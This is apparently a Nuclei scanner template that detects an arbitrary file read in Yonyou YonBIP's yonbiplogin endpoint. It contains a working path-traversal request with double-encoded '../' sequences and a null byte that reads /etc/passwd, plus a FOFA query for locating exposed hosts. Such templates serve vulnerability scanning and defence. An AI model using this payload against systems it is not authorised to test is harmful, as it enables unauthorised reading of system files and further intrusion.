id: yonyou-yonbip-lfi

info:
  name: YonBIP - Arbitrary File Read
  author: l1b3r
  severity: high
  description: |
    There is an arbitrary file reading vulnerability in yonbiplogin, the advanced version of YonBIP
  reference:
    - https://github.com/wy876/POC/blob/main/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8BYonBIP%E9%AB%98%E7%BA%A7%E7%89%88yonbiplogin%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md
  classification:
    cwe-id: CWE-23,CWE-73
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="YonBIP" || title="数字化工作台"
  tags: yonyou,yonbip,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/iuap-apcom-workbench/ucf-wh/yonbiplogin/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%2500.png.js"

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - 'contains(content_type, "application/javascript")'
          - "status_code == 200"
        condition: and
# digest: 490a0046304402200b49e7a86b40cf72f28e80e4bf2372aa9f67be7f5f24d7b49dbeea4f9d286edb02206c8058f92b5d4480f78b806d508e7c560160355f1da0c12e2e87723ca1dcbea7:922c64590222798bb761d5b6d8e72950